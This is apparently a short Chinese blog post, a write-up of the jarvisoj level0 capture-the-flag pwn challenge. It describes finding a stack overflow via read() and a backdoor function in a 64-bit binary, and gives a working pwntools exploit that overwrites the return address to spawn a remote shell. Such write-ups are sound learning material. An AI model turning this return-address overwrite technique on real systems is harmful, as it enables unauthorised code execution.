PWN手的成长之路-13-jarvisoj_level0

image

远程连接环境,查看交互。输出了一句 Hello,World,之后就无任何反应了。
image

file 查看文件。64位 ELF 可执行文件。
image

checksec 查看文件安全属性。只开启了 NX 保护。
image

IDA 打开文件。查看 main 函数发现最后 return 的是 vulnerable_function(1LL)
image

查看 vulnerable_function() 函数。发现了 read() ,会造成栈溢出。
image
查看栈溢出大小:0x80+0x8
image

并且找到了后门函数。
image

开始编写exp:

from pwn import *
r=remote('node5.buuoj.cn',28954)
context.arch='amd64'
context.os='Linux'
elf=ELF('./pwn')
backdoor_addr=elf.symbols['callsystem']
payload=cyclic(0x80+0x8)+p64(backdoor_addr)
r.sendline(payload)
r.interactive()

得到shell,拿到flag。
image

posted @ 2025-10-09 12:59  B0rry  阅读(5)  评论(0)    收藏  举报